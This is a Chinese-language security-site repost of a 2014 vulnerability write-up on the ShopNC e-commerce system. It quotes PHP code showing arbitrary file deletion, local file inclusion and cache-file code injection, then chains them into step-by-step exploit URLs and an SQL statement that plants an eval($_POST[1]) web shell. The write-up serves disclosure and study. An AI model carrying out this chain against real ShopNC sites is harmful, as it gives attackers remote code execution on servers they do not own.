首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
电子商务系统ShopNC多个漏洞(可暴力 getshell)
来源:http://www.freebuf.com 作者:Yaseng 发布时间:2014-03-12  

前言

ShopNC是一款S是网城创想公司旗下服务于企业客户的电子商务系统,基于PHP5技术采用MVC 模式开发,本文介绍了shopnc多个漏洞结合,可getshell有点暴力-_-

任意文件删除

文件 control\store.php 1438 行 (还有几个同样的地方,新版已修复)

 

........
$model_upload = 
Model('upload');
        $file_info = $model_upload
->getOneUpload(intval($_GET['file_id']));
        
if(!$file_info){
            
@unlink(ATTACH_SLIDE.DS.$_GET['img_src']);
        }
else{
 
........


 

本地文件包含

文件 /framework/core/base.php 71行

$act_file = realpathBasePath.DS."control".DS.$ _GET['act'].".php" );
    }
    if ( is_file$act_file ) )
    {
        require$act_file );
        $class_name = $ _GET['act']."Control";
        if ( class_exists$class_name ) )

后台更新缓存写shell

文件 model/adv_model.php 416 行



/**
     * 更新一条广告缓存
     *
     * @param unknown_type $adv
     * @return unknown
     */
    public function makeAdvCache($adv){
        $lang   = Language::getLangContent();
        $tmp .= "<?php \r\n";
        $tmp .= "defined('InShopNC') or exit('Access Invalid!'); \r\n";
        if (is_numeric($adv) && $adv > 0){
 
            $condition['adv_id'] = $adv;
            $adv_info = $this->getList($condition);
            $adv = $adv_info['0'];
        }
    ..................................
                       $content = addslashes($v);
            $content = str_replace('

继续跟进getList函数 

public function getList($condition=array(), $page=''$limit=''$orderby=''){
    $param  = array();
    $param['table'] = 'adv';
    $param['field'] = $condition['field']?$condition['field']:'*';
    $param['where'] = $this->getCondition($condition);
    if($orderby == ''){
        $param['order'] = 'slide_sort, adv_id desc';
    }else{
        $param['order'] = $orderby;
    }
    $param['limit'] = $limit;
    return Db::select($param,$page);
}

写文件时,从数据库中遍历key,跟value 未过滤key,key 可以从数据库读取,当有数据库可控时,即可写入任意文件.

ShopNc GetShell

结合以上三个漏洞,即可优雅的 getshell
流程

任意文件删除 => 重装 => 更改数据库 shopnc_adv 键值 =>更新广告缓存 =>getshell

具体步骤

1:http://www.xxx.com/index.php?act=store&op=dorp_img&file_id=16&img_src=/../../../install/lock

2:重装系统

3:进入MySQL  执行sql  ALTER TABLE `shopnc_adv` ADD `{eval($_POST[1])}` VARCHAR( 100 ) NOT NULL

4:进入后台 更新广告缓存  http://www.xxx.com/admin/index.php?act=adv&op=adv_edit&adv_id=14

5:连接shell   http://www.xxx.com/index.php?act=../cache/adv/adv_14.cache


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·Solaris 10 telnet漏洞及解决
·动网(DVBBS)Version 8.2.0 后
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·南方数据企业网站管理系统V10.0
·dedecms最新版本修改任意管理员
·Discuz!后台拿Webshell 0day
  相关文章
·STRUTS2框架的getClassLoader漏
·DedeCMS全版本通杀SQL注入漏洞利
·Discuz的利用UC_KEY进行getshell
·最新WinRAR扩展名欺骗0day解剖
·Struts2 S2-020在Tomcat 8下的命
·Struts2最近几个漏洞分析&稳定利
·Dedecms某命令执行漏洞
·从迅雷帐号到个人电脑的入侵-一
·SuperMicro IPMI 49152端口 密码
·Discuz3.2后台文件包含漏洞可后
·CVE: 2014-6271 Bash Specially-
·Bash Shellshock事件:CVE-2014-6
  推荐广告
CopyRight © 2002-2018 VFocuS.Net All Rights Reserved